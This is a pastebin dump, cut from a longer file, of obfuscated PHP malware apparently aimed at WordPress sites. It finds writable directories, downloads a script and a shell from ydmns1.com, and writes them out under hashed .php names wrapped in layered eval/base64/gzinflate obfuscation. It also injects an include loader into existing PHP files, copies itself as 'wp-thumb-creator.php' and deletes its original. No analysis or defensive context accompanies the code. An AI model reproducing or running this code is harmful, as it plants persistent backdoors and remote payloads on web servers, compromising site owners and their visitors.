  375.           if (isset($R034AE2AB94F99CC81B389A1822DA3353['extension'])) {
  376.               return $R034AE2AB94F99CC81B389A1822DA3353['extension'];
  377.           } else {
  378.               return "";
  379.           }
  380.       }
  381.   }
  382.   if (!function_exists('prepare_pack')) {
  383.       function FCE5FE761FE36220458FAE651AEABF6D9($R05ACCB8866713C319A73793B91E41C93, $RA025C75B4539F4E80D11CC475DADBD3B = 0, $R78CD013D096E2F898D13E58F414D2641 = 0, $R5AE8874CA8599FC62FB261DA1D13BF07 = 0)
  384.       {
  385.           $R034AE2AB94F99CC81B389A1822DA3353 = preg_replace("/^[^\s]+[\s]/U", "", $R05ACCB8866713C319A73793B91E41C93);
  386.           $R034AE2AB94F99CC81B389A1822DA3353 = preg_replace("/[\s][^\s]+\Z/", "", $R034AE2AB94F99CC81B389A1822DA3353);
  387.           $R034AE2AB94F99CC81B389A1822DA3353 = trim($R034AE2AB94F99CC81B389A1822DA3353);
  388.           if ($R78CD013D096E2F898D13E58F414D2641) {
  389.               $RCC5C6E696C11A4FDF170ECE8BA9FDC6F = preg_split('/\}\s+function/', $R034AE2AB94F99CC81B389A1822DA3353);
  390.           } else {
  391.               $RCC5C6E696C11A4FDF170ECE8BA9FDC6F[] = $R034AE2AB94F99CC81B389A1822DA3353;
  392.           }
  393.           $R28EE2E6331FDC49351C22DCC2FB2976F = false;
  394.           if (count($RCC5C6E696C11A4FDF170ECE8BA9FDC6F)) {
  395.               if ($R78CD013D096E2F898D13E58F414D2641 && strpos($RCC5C6E696C11A4FDF170ECE8BA9FDC6F[0], 'function') === 0) {
  396.                   $RCC5C6E696C11A4FDF170ECE8BA9FDC6F[0] = substr($RCC5C6E696C11A4FDF170ECE8BA9FDC6F[0], strlen('function'), strlen($RCC5C6E696C11A4FDF170ECE8BA9FDC6F[0]));
  397.               } else {
  398.                   $R28EE2E6331FDC49351C22DCC2FB2976F = true;
  399.               }
  400.               $R034AE2AB94F99CC81B389A1822DA3353 = '';
  401.               $RA1D44C0654A40984A103C270FFB9BF33 = 0;
  402.               $RFF073106DF53C7C31BC2E1F5598ABC67 = count($RCC5C6E696C11A4FDF170ECE8BA9FDC6F);
  403.               foreach ($RCC5C6E696C11A4FDF170ECE8BA9FDC6F as $RF413F06AEBBCEF5E1C8B1019DEE6FE6B => $R244F38266C59587D696AEC08A771B803) {
  404.                   $R244F38266C59587D696AEC08A771B803 = preg_replace("/\s+/", " ", $R244F38266C59587D696AEC08A771B803);
  405.                   $RA1D44C0654A40984A103C270FFB9BF33++;
  406.                   $RA1D44C0654A40984A103C270FFB9BF33 == $RFF073106DF53C7C31BC2E1F5598ABC67 ? $RE43C1387B0E5691A62EAA70DED4247BF = '' : $RE43C1387B0E5691A62EAA70DED4247BF = '}';
  407.                   if ($RFF073106DF53C7C31BC2E1F5598ABC67 > 1 && !($RA1D44C0654A40984A103C270FFB9BF33 == 1 && $R28EE2E6331FDC49351C22DCC2FB2976F)) {
  408.                       $RE4C7D16A6C5FB92CD46C0AB7D463461C = '/*' . F444AD787257ADF6AB7F76049735A166B(50) . '*/ ' . 'function ' . trim($R244F38266C59587D696AEC08A771B803) . $RE43C1387B0E5691A62EAA70DED4247BF;
  409.                   } else {
  410.                       $RE4C7D16A6C5FB92CD46C0AB7D463461C = trim($R244F38266C59587D696AEC08A771B803) . $RE43C1387B0E5691A62EAA70DED4247BF;
  411.                   }
  412.                   if ($R5AE8874CA8599FC62FB261DA1D13BF07 && function_exists('gzdeflate')) {
  413.                       $RE4C7D16A6C5FB92CD46C0AB7D463461C = gzdeflate($RE4C7D16A6C5FB92CD46C0AB7D463461C, 9);
  414.                   }
  415.                   $RE4C7D16A6C5FB92CD46C0AB7D463461C = base64_encode($RE4C7D16A6C5FB92CD46C0AB7D463461C);
  416.                   if ($R5AE8874CA8599FC62FB261DA1D13BF07 && function_exists('gzdeflate')) {
  417.                       $R034AE2AB94F99CC81B389A1822DA3353 .= "eval(gzinflate(base64_decode('{$RE4C7D16A6C5FB92CD46C0AB7D463461C}')));";
  418.                   } else {
  419.                       $R034AE2AB94F99CC81B389A1822DA3353 .= "eval(base64_decode('{$RE4C7D16A6C5FB92CD46C0AB7D463461C}'));";
  420.                   }
  421.               }
  422.               for ($RA16D2280393CE6A2A5428A4A8D09E354 = 0; $RA16D2280393CE6A2A5428A4A8D09E354 < $RA025C75B4539F4E80D11CC475DADBD3B; $RA16D2280393CE6A2A5428A4A8D09E354++) {
  423.                   if ($R5AE8874CA8599FC62FB261DA1D13BF07 && function_exists('gzdeflate')) {
  424.                       $R034AE2AB94F99CC81B389A1822DA3353 = gzdeflate($R034AE2AB94F99CC81B389A1822DA3353, 9);
  425.                   }
  426.                   $R034AE2AB94F99CC81B389A1822DA3353 = base64_encode($R034AE2AB94F99CC81B389A1822DA3353);
  427.                   if ($R5AE8874CA8599FC62FB261DA1D13BF07 && function_exists('gzdeflate')) {
  428.                       $R034AE2AB94F99CC81B389A1822DA3353 = "eval(gzinflate(base64_decode('{$R034AE2AB94F99CC81B389A1822DA3353}')));";
  429.                   } else {
  430.                       $R034AE2AB94F99CC81B389A1822DA3353 = "eval(base64_decode('{$R034AE2AB94F99CC81B389A1822DA3353}'));";
  431.                   }
  432.               }
  433.           }
  434.           return $R034AE2AB94F99CC81B389A1822DA3353;
  435.       }
  436.   }
  437.   if (!function_exists('hide_eval')) {
  438.       function FC849CAC2A4FBC4376B6DAB7DD63CDA6D($R666D1A176399993290918ECA85C05FE3, $R635B58C1D3EC2209375C1E0BE3788389 = 0, $RDF6D0EDD3FCF21ED644378D454F8CE28 = "")
  439.       {
  440.           $R034AE2AB94F99CC81B389A1822DA3353 = "";
  441.           $RE716C21CE607E7A78A838813F3591799 = "eval(gzinflate(base64_decode('";
  442.           $R980C6A9BFD38E36311B691E3ADD7CCAD = strpos($R666D1A176399993290918ECA85C05FE3, $RE716C21CE607E7A78A838813F3591799);
  443.           if (!($R980C6A9BFD38E36311B691E3ADD7CCAD === false)) {
  444.               $R666D1A176399993290918ECA85C05FE3 = substr($R666D1A176399993290918ECA85C05FE3, $R980C6A9BFD38E36311B691E3ADD7CCAD + strlen($RE716C21CE607E7A78A838813F3591799), strlen($R666D1A176399993290918ECA85C05FE3));
  445.           }
  446.           $RE716C21CE607E7A78A838813F3591799 = "')));";
  447.           $R980C6A9BFD38E36311B691E3ADD7CCAD = strpos($R666D1A176399993290918ECA85C05FE3, $RE716C21CE607E7A78A838813F3591799);
  448.           if (!($R980C6A9BFD38E36311B691E3ADD7CCAD === false)) {
  449.               $R666D1A176399993290918ECA85C05FE3 = substr($R666D1A176399993290918ECA85C05FE3, 0, $R980C6A9BFD38E36311B691E3ADD7CCAD);
  450.           }
  451.           $R24D59CD0B76A27B85F35D40A3CF6EC37 = array("e", "v", "a", "l", "g", "z", "i", "n", "f", "t", "b", "s", "6", "4", "_", "d", "c", "r", "o", "(", ")", ";", "$");
  452.           shuffle($R24D59CD0B76A27B85F35D40A3CF6EC37);
  453.           $R24D59CD0B76A27B85F35D40A3CF6EC37 = array_flip($R24D59CD0B76A27B85F35D40A3CF6EC37);
  454.           $R52D5B5E885B21331CFD2304BE571DE0B = "(";
  455.           foreach ($R24D59CD0B76A27B85F35D40A3CF6EC37 as $RA09FE38AF36F6839F4A75051DC7CEA25 => $R244F38266C59587D696AEC08A771B803) {
  456.               rand(0, 100) < 50 ? $RB8A418DAADAC7F37B64FEC95DC88FF17 = "'" : $RB8A418DAADAC7F37B64FEC95DC88FF17 = '"';
  457.               $R52D5B5E885B21331CFD2304BE571DE0B .= "{$RB8A418DAADAC7F37B64FEC95DC88FF17}{$RA09FE38AF36F6839F4A75051DC7CEA25}{$RB8A418DAADAC7F37B64FEC95DC88FF17},";
  458.           }
  459.           $R52D5B5E885B21331CFD2304BE571DE0B = substr($R52D5B5E885B21331CFD2304BE571DE0B, 0, strlen($R52D5B5E885B21331CFD2304BE571DE0B) - 1) . ");";
  460.           if ($RDF6D0EDD3FCF21ED644378D454F8CE28) {
  461.               $R034AE2AB94F99CC81B389A1822DA3353 .= "\$" . "md5 = \"{$RDF6D0EDD3FCF21ED644378D454F8CE28}\";\n";
  462.           }
  463.           $R034AE2AB94F99CC81B389A1822DA3353 .= "\${$GLOBALS['dgeha']} = array{$R52D5B5E885B21331CFD2304BE571DE0B}\n";
  464.           $R034AE2AB94F99CC81B389A1822DA3353 .= "\${$GLOBALS['dgehf']} = create_function('\$'.'v',\${$GLOBALS['dgeha']}[{$R24D59CD0B76A27B85F35D40A3CF6EC37['e']}].\${$GLOBALS['dgeha']}[{$R24D59CD0B76A27B85F35D40A3CF6EC37['v']}].\${$GLOBALS['dgeha']}[{$R24D59CD0B76A27B85F35D40A3CF6EC37['a']}].\${$GLOBALS['dgeha']}[{$R24D59CD0B76A27B85F35D40A3CF6EC37['l']}].\${$GLOBALS['dgeha']}[{$R24D59CD0B76A27B85F35D40A3CF6EC37['(']}].\${$GLOBALS['dgeha']}[{$R24D59CD0B76A27B85F35D40A3CF6EC37['g']}].\${$GLOBALS['dgeha']}[{$R24D59CD0B76A27B85F35D40A3CF6EC37['z']}].\${$GLOBALS['dgeha']}[{$R24D59CD0B76A27B85F35D40A3CF6EC37['i']}].\${$GLOBALS['dgeha']}[{$R24D59CD0B76A27B85F35D40A3CF6EC37['n']}].\${$GLOBALS['dgeha']}[{$R24D59CD0B76A27B85F35D40A3CF6EC37['f']}].\${$GLOBALS['dgeha']}[{$R24D59CD0B76A27B85F35D40A3CF6EC37['l']}].\${$GLOBALS['dgeha']}[{$R24D59CD0B76A27B85F35D40A3CF6EC37['a']}].\${$GLOBALS['dgeha']}[{$R24D59CD0B76A27B85F35D40A3CF6EC37['t']}].\${$GLOBALS['dgeha']}[{$R24D59CD0B76A27B85F35D40A3CF6EC37['e']}].\${$GLOBALS['dgeha']}[{$R24D59CD0B76A27B85F35D40A3CF6EC37['(']}].\${$GLOBALS['dgeha']}[{$R24D59CD0B76A27B85F35D40A3CF6EC37['b']}].\${$GLOBALS['dgeha']}[{$R24D59CD0B76A27B85F35D40A3CF6EC37['a']}].\${$GLOBALS['dgeha']}[{$R24D59CD0B76A27B85F35D40A3CF6EC37['s']}].\${$GLOBALS['dgeha']}[{$R24D59CD0B76A27B85F35D40A3CF6EC37['e']}].\${$GLOBALS['dgeha']}[{$R24D59CD0B76A27B85F35D40A3CF6EC37['6']}].\${$GLOBALS['dgeha']}[{$R24D59CD0B76A27B85F35D40A3CF6EC37['4']}].\${$GLOBALS['dgeha']}[{$R24D59CD0B76A27B85F35D40A3CF6EC37['_']}].\${$GLOBALS['dgeha']}[{$R24D59CD0B76A27B85F35D40A3CF6EC37['d']}].\${$GLOBALS['dgeha']}[{$R24D59CD0B76A27B85F35D40A3CF6EC37['e']}].\${$GLOBALS['dgeha']}[{$R24D59CD0B76A27B85F35D40A3CF6EC37['c']}].\${$GLOBALS['dgeha']}[{$R24D59CD0B76A27B85F35D40A3CF6EC37['o']}].\${$GLOBALS['dgeha']}[{$R24D59CD0B76A27B85F35D40A3CF6EC37['d']}].\${$GLOBALS['dgeha']}[{$R24D59CD0B76A27B85F35D40A3CF6EC37['e']}].\${$GLOBALS['dgeha']}[{$R24D59CD0B76A27B85F35D40A3CF6EC37['(']}].\${$GLOBALS['dgeha']}[{$R24D59CD0B76A27B85F35D40A3CF6EC37['$']}].\${$GLOBALS['dgeha']}[{$R24D59CD0B76A27B85F35D40A3CF6EC37['v']}].\${$GLOBALS['dgeha']}[{$R24D59CD0B76A27B85F35D40A3CF6EC37[')']}].\${$GLOBALS['dgeha']}[{$R24D59CD0B76A27B85F35D40A3CF6EC37[')']}].\${$GLOBALS['dgeha']}[{$R24D59CD0B76A27B85F35D40A3CF6EC37[')']}].\${$GLOBALS['dgeha']}[{$R24D59CD0B76A27B85F35D40A3CF6EC37[';']}]);\n";
  465.           $R034AE2AB94F99CC81B389A1822DA3353 .= "\${$GLOBALS['dgehf']}('{$R666D1A176399993290918ECA85C05FE3}');\n";
  466.           $R034AE2AB94F99CC81B389A1822DA3353 = trim($R034AE2AB94F99CC81B389A1822DA3353);
  467.           if ($R635B58C1D3EC2209375C1E0BE3788389) {
  468.               $R034AE2AB94F99CC81B389A1822DA3353 = "<" . "?php\n" . $R034AE2AB94F99CC81B389A1822DA3353 . "\n?" . ">";
  469.           }
  470.           return $R034AE2AB94F99CC81B389A1822DA3353;
  471.       }
  472.   }
  473.   if (!function_exists('generate_string')) {
  474.       function F444AD787257ADF6AB7F76049735A166B($RF5F11A8D38D2AF447803CE98A8C3E58E = 4)
  475.       {
  476.           $R034AE2AB94F99CC81B389A1822DA3353 = '';
  477.           $R2322221D09E72D62CE8923BF936F088E = array('q', 'w', 'e', 'r', 't', 'y', 'u', 'i', 'o', 'p', 'a', 's', 'd', 'f', 'g', 'h', 'j', 'k', 'l', 'z', 'x', 'c', 'v', 'b', 'n', 'm');
  478.           for ($RA16D2280393CE6A2A5428A4A8D09E354 = 0; $RA16D2280393CE6A2A5428A4A8D09E354 < $RF5F11A8D38D2AF447803CE98A8C3E58E; $RA16D2280393CE6A2A5428A4A8D09E354++) {
  479.               $R034AE2AB94F99CC81B389A1822DA3353 .= $R2322221D09E72D62CE8923BF936F088E[rand(0, count($R2322221D09E72D62CE8923BF936F088E) - 1)];
  480.           }
  481.           return $R034AE2AB94F99CC81B389A1822DA3353;
  482.       }
  483.   }
  484.   if (!function_exists('search_writable_dirs')) {
  485.       function F479C7AD8664A779F22BCFB2AE57E8905($R3435986BDA8C9393E0EBDB9F58F02750, &$R61DD8028E963E03FE30009EC9079E78A, &$R5CC00CFBE423DC9842F72323ADFE46B5)
  486.       {
  487.           if ($R5CC00CFBE423DC9842F72323ADFE46B5) {
  488.               return;
  489.           }
  490.           $R3435986BDA8C9393E0EBDB9F58F02750 = str_replace('\\', '/', $R3435986BDA8C9393E0EBDB9F58F02750);
  491.           if (count($R61DD8028E963E03FE30009EC9079E78A) > 300) {
  492.               return;
  493.           }
  494.           if (isset($GLOBALS['dgbc'][$R3435986BDA8C9393E0EBDB9F58F02750 . "\n"])) {
  495.               echo "<b>CHECKED</b> <font color='yellow'>{$R3435986BDA8C9393E0EBDB9F58F02750}</font><br />";
  496.               return;
  497.           }
  498.           if (!file_exists($R3435986BDA8C9393E0EBDB9F58F02750)) {
  499.               echo "<b>NOT EXISTS</b> <font color='red'>{$R3435986BDA8C9393E0EBDB9F58F02750}</font><br />";
  500.               return;
  501.           }
  502.           if (strpos(strtolower($R3435986BDA8C9393E0EBDB9F58F02750), 'cache') || strpos(strtolower($R3435986BDA8C9393E0EBDB9F58F02750), 'snapshot')) {
  503.               echo "<b>CACHE</b> <font color='orange'>{$R3435986BDA8C9393E0EBDB9F58F02750}</font><br />";
  504.               return;
  505.           }
  506.           $R60169CD1C47B7A7A85AB44F884635E41 = opendir($R3435986BDA8C9393E0EBDB9F58F02750);
  507.           if (!$R60169CD1C47B7A7A85AB44F884635E41) {
  508.               return;
  509.           }
  510.           if (is_writable($R3435986BDA8C9393E0EBDB9F58F02750)) {
  511.               $RE7E2E71331FE94AA6EC44D82C461255D = substr(md5($R3435986BDA8C9393E0EBDB9F58F02750 . '/'), 0, 3) . '.php';
  512.               if (file_exists($R3435986BDA8C9393E0EBDB9F58F02750 . '/' . $RE7E2E71331FE94AA6EC44D82C461255D) || file_exists($R3435986BDA8C9393E0EBDB9F58F02750 . '/cnf')) {
  513.                   echo "<b>OLD SCRIPT</b> <b color='red'>{$R3435986BDA8C9393E0EBDB9F58F02750}/{$RE7E2E71331FE94AA6EC44D82C461255D}</b><br />[m1]<br />";
  514.                   $R61DD8028E963E03FE30009EC9079E78A = array();
  515.                   $R61DD8028E963E03FE30009EC9079E78A[$R3435986BDA8C9393E0EBDB9F58F02750] = count($R61DD8028E963E03FE30009EC9079E78A) + 1;
  516.                   $R5CC00CFBE423DC9842F72323ADFE46B5 = 1;
  517.                   return;
  518.               }
  519.               $R61DD8028E963E03FE30009EC9079E78A[$R3435986BDA8C9393E0EBDB9F58F02750] = count($R61DD8028E963E03FE30009EC9079E78A) + 1;
  520.           }
  521.           while (($R6B6E98CDE8B33087A33E4D3A497BD86B = readdir($R60169CD1C47B7A7A85AB44F884635E41)) !== false) {
  522.               if ($R6B6E98CDE8B33087A33E4D3A497BD86B == '.' || $R6B6E98CDE8B33087A33E4D3A497BD86B == '..' || $R6B6E98CDE8B33087A33E4D3A497BD86B == '/' || $R6B6E98CDE8B33087A33E4D3A497BD86B == '\\') {
  523.                   continue;
  524.               }
  525.               if ($R3435986BDA8C9393E0EBDB9F58F02750 == '/') {
  526.                   $R3435986BDA8C9393E0EBDB9F58F02750 = '';
  527.               }
  528.               if (is_dir($R3435986BDA8C9393E0EBDB9F58F02750 . '/' . $R6B6E98CDE8B33087A33E4D3A497BD86B)) {
  529.                   if (is_link($R3435986BDA8C9393E0EBDB9F58F02750 . '/' . $R6B6E98CDE8B33087A33E4D3A497BD86B)) {
  530.                       continue;
  531.                   }
  532.                   if (strpos($R3435986BDA8C9393E0EBDB9F58F02750 . '/' . $R6B6E98CDE8B33087A33E4D3A497BD86B . '/', $GLOBALS['dgsp']) === false) {
  533.                       echo "<b color='red'>SKIP: {$R3435986BDA8C9393E0EBDB9F58F02750}/{$R6B6E98CDE8B33087A33E4D3A497BD86B}</b><br />";
  534.                       continue;
  535.                   }
  536.                   F479C7AD8664A779F22BCFB2AE57E8905($R3435986BDA8C9393E0EBDB9F58F02750 . '/' . $R6B6E98CDE8B33087A33E4D3A497BD86B, $R61DD8028E963E03FE30009EC9079E78A, $R5CC00CFBE423DC9842F72323ADFE46B5);
  537.               }
  538.           }
  539.           closedir($R60169CD1C47B7A7A85AB44F884635E41);
  540.           flush();
  541.       }
  542.   }
  543.   if (!function_exists('dg_main_exec')) {
  544.       function FF56E85598FD1E5CD4D7B9372098D5D69()
  545.       {
  546.           global $_SERVER;
  547.           echo "<hr /><div align='left'><br clear='all'>";
  548.           flush();
  549.           $R085AC5B45615F871709E5A43452547D3 = array();
  550.           $R52D5B5E885B21331CFD2304BE571DE0B = false;
  551.           $GLOBALS['dgcp'] = '';
  552.           echo "<h3>LOOKING FOR THE LONGEST PATH AT {$GLOBALS['dgsp']}</h3><small>";
  553.           F479C7AD8664A779F22BCFB2AE57E8905($GLOBALS['dgsp'], $R085AC5B45615F871709E5A43452547D3, $R52D5B5E885B21331CFD2304BE571DE0B);
  554.           echo "</small>";
  555.           flush();
  556.           $R111F1B5B84B5C819EA9AE35968FCE466 = 0;
  557.           foreach ($R085AC5B45615F871709E5A43452547D3 as $RF413F06AEBBCEF5E1C8B1019DEE6FE6B => $R244F38266C59587D696AEC08A771B803) {
  558.               $REAC2E6D0B1F33B89847962AD352F26A4 = explode('/', $RF413F06AEBBCEF5E1C8B1019DEE6FE6B);
  559.               $R3E33E017CD76B9B7E6C7364FB91E2E90 = count($REAC2E6D0B1F33B89847962AD352F26A4);
  560.               if ($R111F1B5B84B5C819EA9AE35968FCE466 < $R3E33E017CD76B9B7E6C7364FB91E2E90) {
  561.                   $R111F1B5B84B5C819EA9AE35968FCE466 = $R3E33E017CD76B9B7E6C7364FB91E2E90;
  562.                   $GLOBALS['dgcp'] = implode('/', $REAC2E6D0B1F33B89847962AD352F26A4);
  563.               }
  564.           }
  565.           if (!$GLOBALS['dgcp']) {
  566.               echo "<b color='red'>nowhere to write anything</b><br />[e4]";
  567.               die;
  568.           }
  569.           if ($GLOBALS['dgsp'] == $GLOBALS['dgcp']) {
  570.               echo "<b color='red'>can't write to the document root</b><br />[e5]";
  571.               die;
  572.           }
  573.           $GLOBALS['dgcp'] = str_replace('\\', '/', $GLOBALS['dgcp']);
  574.           $GLOBALS['dgcp'] .= '/';
  575.           $GLOBALS['dgsp'] .= '/';
  576.           echo "the longest available path: <b>{$GLOBALS['dgcp']}</b><br />";
  577.           $GLOBALS['dgin'] = substr(md5($GLOBALS['dgcp']), 0, 3) . '.php';
  578.           flush();
  579.           $RDAD8D40EB9906CAB35CCB38DE41CB7EF = FF1B87E88E778C1B948FEC61266EE0DCC($GLOBALS['dg_pu'], 60);
  580.           if ($RDAD8D40EB9906CAB35CCB38DE41CB7EF) {
  581.               echo "<b color='green'>[size: " . strlen($RDAD8D40EB9906CAB35CCB38DE41CB7EF) . "]</b><br />[s2]<br />";
  582.               FE19A7FAB0F9597E68E23311BB5FB460F($RDAD8D40EB9906CAB35CCB38DE41CB7EF);
  583.           } else {
  584.               die("<b color='red'>download failed</b><br />[e2]<br />");
  585.           }
  586.           if (!F7C23AA131822F77A31BC8492D9A7CE00($RDAD8D40EB9906CAB35CCB38DE41CB7EF, '$GLOBALS[\'dgcp\'] = "', '";', $GLOBALS['dgcp'])) {
  587.               die("<b color='red'>failed to set path</b><br />[e6]");
  588.           }
  589.           echo "<b color='green'>path [{$GLOBALS['dgcp']}]</b><br />";
  590.           if (!F7C23AA131822F77A31BC8492D9A7CE00($RDAD8D40EB9906CAB35CCB38DE41CB7EF, '$GLOBALS[\'dgin\'] = "', '";', $GLOBALS['dgin'])) {
  591.               die("<b color='red'>failed to set name</b><br />[e7]");
  592.           }
  593.           echo "<b color='green'>name [{$GLOBALS['dgin']}]</b><br />";
  594.           if (!F7C23AA131822F77A31BC8492D9A7CE00($RDAD8D40EB9906CAB35CCB38DE41CB7EF, '$GLOBALS[\'dgsp\'] = "', '";', $GLOBALS['dgsp'])) {
  595.               die("<b color='red'>failed to set relative root dir</b><br />[e8]");
  596.           }
  597.           echo "<b color='green'>relative root dir [{$GLOBALS['dgsp']}]</b><br />";
  598.           $RCFFAE742FB4E724571041779A10EFDA9 = FCE5FE761FE36220458FAE651AEABF6D9($RDAD8D40EB9906CAB35CCB38DE41CB7EF, rand(2, 3), 1, 1);
  599.           $RCFFAE742FB4E724571041779A10EFDA9 = FC849CAC2A4FBC4376B6DAB7DD63CDA6D($RCFFAE742FB4E724571041779A10EFDA9, 1);
  600.           if (F17B8C65064AE90679E4CE6254EF6C510($GLOBALS['dgcp'] . $GLOBALS['dgin'], $RCFFAE742FB4E724571041779A10EFDA9, 1)) {
  601.               echo "<b color='green'>[{$GLOBALS['dgcp']}{$GLOBALS['dgin']}]</b><br />[s4]<br />";
  602.           } else {
  603.               echo "<b color='red'>main script save failed [{$GLOBALS['dgcp']}{$GLOBALS['dgin']}]</b><br />[e9]<br />";
  604.               die;
  605.           }
  606.           $GLOBALS['dgsf'] = substr(md5($GLOBALS['dgin']), 0, 4) . '.php';
  607.           flush();
  608.           $R45E2E72FDB21441F3694D1F40B1B0E27 = FF1B87E88E778C1B948FEC61266EE0DCC($GLOBALS['dg_eu'], 60);
  609.           if ($R45E2E72FDB21441F3694D1F40B1B0E27) {
  610.               echo "<b color='green'>ss [size: " . strlen($R45E2E72FDB21441F3694D1F40B1B0E27) . "]</b><br />[s3]<br />";
  611.               FE19A7FAB0F9597E68E23311BB5FB460F($R45E2E72FDB21441F3694D1F40B1B0E27);
  612.           } else {
  613.               echo "<b color='red'>download failed</b><br />[e3]<br />";
  614.           }
  615.           $R45E2E72FDB21441F3694D1F40B1B0E27 = preg_replace("/^[^\s]+[\s]/U", "", $R45E2E72FDB21441F3694D1F40B1B0E27);
  616.           $R45E2E72FDB21441F3694D1F40B1B0E27 = preg_replace("/[\s][^\s]+\Z/", "", $R45E2E72FDB21441F3694D1F40B1B0E27);
  617.           $R45E2E72FDB21441F3694D1F40B1B0E27 = '/*' . F444AD787257ADF6AB7F76049735A166B(200) . '*/ ' . $R45E2E72FDB21441F3694D1F40B1B0E27 . ' /*' . F444AD787257ADF6AB7F76049735A166B(200) . '*/ ';
  618.           $RCFFAE742FB4E724571041779A10EFDA9 = FCE5FE761FE36220458FAE651AEABF6D9($R45E2E72FDB21441F3694D1F40B1B0E27, rand(50, 100), 0, 1);
  619.           $RCFFAE742FB4E724571041779A10EFDA9 = FC849CAC2A4FBC4376B6DAB7DD63CDA6D($RCFFAE742FB4E724571041779A10EFDA9, 1);
  620.           if (F17B8C65064AE90679E4CE6254EF6C510($GLOBALS['dgcp'] . $GLOBALS['dgsf'], $RCFFAE742FB4E724571041779A10EFDA9, 1)) {
  621.               echo "<b style:='color:green'>[{$GLOBALS['dgcp']}{$GLOBALS['dgsf']}]</b><br />[s5]<br />";
  622.           } else {
  623.               echo "<b color='red'>[{$GLOBALS['dgcp']}{$GLOBALS['dgsf']}]</b><br />";
  624.           }
  625.           $GLOBALS['dgij'] = "if(function_exists('ob_start')&&!isset(\$GLOBALS['mfsn'])){\$GLOBALS['mfsn']='{$GLOBALS['dgcp']}{$GLOBALS['dgin']}';if(file_exists(\$GLOBALS['mfsn'])){include_once(\$GLOBALS['mfsn']);if(function_exists('gml')&&function_exists('dgobh')){ob_start('dgobh');}}}";
  626.           echo "<small>";
  627.           echo "<h3>INJECTING PHP FILES</h3>";
  628.           F07A2AB8F1A5D301EC9E262A828A02E81();
  629.           if (count($GLOBALS['dg_wpi']) > 0) {
  630.               F56BB4AA84D3F4DC7A478433B4EDC9346($GLOBALS['dg_wpi'][0], 1, 0);
  631.               F5EEDC2EB9B7D128BC5EE01933C9DC3BF($GLOBALS['dgsp'], 0, 0);
  632.           } else {
  633.               F5EEDC2EB9B7D128BC5EE01933C9DC3BF($GLOBALS['dgsp'], 1, 0);
  634.           }
  635.           if ($_SERVER['SCRIPT_FILENAME'] <> $GLOBALS['dgcp'] . $GLOBALS['dgmn']) {
  636.               if (copy($_SERVER['SCRIPT_FILENAME'], $GLOBALS['dgcp'] . $GLOBALS['dgmn'])) {
  637.                   echo "File {$_SERVER['SCRIPT_FILENAME']} copied";
  638.               } else {
  639.                   echo "Failed to copy file {$_SERVER['SCRIPT_FILENAME']}";
  640.               }
  641.               unlink($_SERVER['SCRIPT_FILENAME']);
  642.           } else {
  643.               echo "No need to copy file {$_SERVER['SCRIPT_FILENAME']}";
  644.           }
  645.           echo "</small><hr /><b>dgok</b></div>";
  646.       }
  647.   }
  648.   if (!isset($GLOBALS['dgbaw'])) {
  649.       $GLOBALS['dgbaw'] = 1;
  650.       if (isset($_GET['dgphpinfo'])) {
  651.           phpinfo();
  652.           die;
  653.       }
  654.       set_time_limit(1800);
  655.       $GLOBALS['dg_wpi'] = array();
  656.       $GLOBALS['dgrules'] = array();
  657.       $GLOBALS['dg_iver'] = "4.0";
  658.       $GLOBALS['http'] = 'http:/' . '/';
  659.       $GLOBALS['dgmn'] = "wp-thumb-creator.php";
  660.       $GLOBALS['dg_pu'] = "{$GLOBALS['http']}ydmns1.com/?update=js&host={$_SERVER['HTTP_HOST']}";
  661.       $GLOBALS['dg_eu'] = "{$GLOBALS['http']}ydmns1.com/?update=shl&host={$_SERVER['HTTP_HOST']}";
  662.       $GLOBALS['dgfn'] = "";
  663.       $GLOBALS['dgeha'] = "wp_salt";
  664.       $GLOBALS['dgehf'] = "wp_add_filter";
  665.       $GLOBALS['dgix'] = '\$' . 'md5\s\=\s\"\w{32}\"\;\s*\$[^\s]+\s\=\s[^\s]+\;\s*\$[^\s]+\s\=\screate\_function[^\s]+\;\s*\$[^\s]+\s*(\S)';
  666.       if (isset($_GET['dgd']) || isset($_POST['dgd'])) {
  667.           error_reporting(E_ALL);
  668.       } else {
  669.           error_reporting(0);
  670.       }
  671.       if ($GLOBALS['dgmn'] && (!strpos($_SERVER['SCRIPT_FILENAME'], $GLOBALS['dgmn'])) || !file_exists($_SERVER['SCRIPT_FILENAME'])) {
  672.           if (file_exists($_SERVER['PATH_TRANSLATED'])) {
  673.               $_SERVER['SCRIPT_FILENAME'] = $_SERVER['PATH_TRANSLATED'];
  674.           } else {
  675.               echo "<b color='red'>can't detect full path [{$_SERVER['SCRIPT_FILENAME']}]</b><br />[e1]";
  676.               die;
  677.           }
  678.       }
  679.       $_SERVER['SCRIPT_FILENAME'] = str_replace('\\', '/', $_SERVER['SCRIPT_FILENAME']);
  680.       $_SERVER['SCRIPT_FILENAME'] = preg_replace("/\/+/", "/", $_SERVER['SCRIPT_FILENAME']);
  681.       if (isset($_GET['dginit']) || isset($_POST['dginit'])) {
  682.           die(FCF6CA68B893A9A9056E7005F906D492B());
  683.       } else {
  684.           die($GLOBALS['dgmn']);
  685.       }
  686.   }
  687. ?>
RAW Paste Data
Top